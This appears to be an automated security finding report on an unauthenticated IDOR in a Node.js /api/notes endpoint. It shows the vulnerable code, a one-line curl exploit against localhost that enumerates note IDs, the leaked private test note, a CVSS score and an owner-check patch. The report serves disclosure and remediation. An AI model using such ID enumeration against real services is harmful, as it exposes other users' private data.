Unauthenticated IDOR on /api/notes discloses arbitrary users' private notes
idor · server.js:48-53
15b34d5cc6 by 42nights on 2026-06-03Summary
The /api/notes handler at server.js:48 reads an id from the query string and returns the matching note from NOTES with no authentication, session check, or owner comparison. Any caller can iterate ids and retrieve notes regardless of the note's owner or its private flag. Expected behavior is to require an authenticated principal and return a note only if its owner matches that principal (or the principal is otherwise authorized).
Impact. An unauthenticated remote attacker can enumerate note IDs (e.g., ?id=1, ?id=2, ...) and read every user's notes, including ones explicitly marked private. The validated response leaks Alice's private content ('bank pin 4821'); the same trick exposes any other secrets users have stored (SSNs, passwords, personal messages). This is a full confidentiality breach of user-private data with no credentials required.
Vulnerable code — server.js
🔴 if (parsed.pathname === "/api/notes") {🔴 const id = Number(q.id || 1);🔴 const note = NOTES.find((n) => n.id === id);🔴 if (!note) return send(res, 404, "no such note");🔴 return send(res, 200, JSON.stringify(note), "application/json");🔴 }
Working exploit
curl -s 'http://127.0.0.1:4600/api/notes?id=2'
Exploit transcript
HTTP 200 Content-Type: application/json
{"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true}Confirmed: HTTP 200 application/json: {"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true}
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N→ 7.5 (high)Recommended fix
AI-suggested fix — review before applying (derived from analysis of untrusted repo content):
Authenticate the caller and enforce owner-based access control before returning the note. Example patch:
--- a/server.js
+++ b/server.js
@@
if (parsed.pathname === "/api/notes") {
- const id = Number(q.id || 1);
- const note = NOTES.find((n) => n.id === id);
- if (!note) return send(res, 404, "no such note");
- return send(res, 200, JSON.stringify(note), "application/json");
+ const user = authenticate(req); // resolve session/token -> username
+ if (!user) return send(res, 401, "authentication required");
+ const id = Number(q.id);
+ if (!Number.isInteger(id)) return send(res, 400, "bad id");
+ const note = NOTES.find((n) => n.id === id);
+ if (!note) return send(res, 404, "no such note");
+ if (note.owner !== user) return send(res, 404, "no such note"); // avoid existence oracle
+ return send(res, 200, JSON.stringify(note), "application/json");
}
Ship the fix
Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.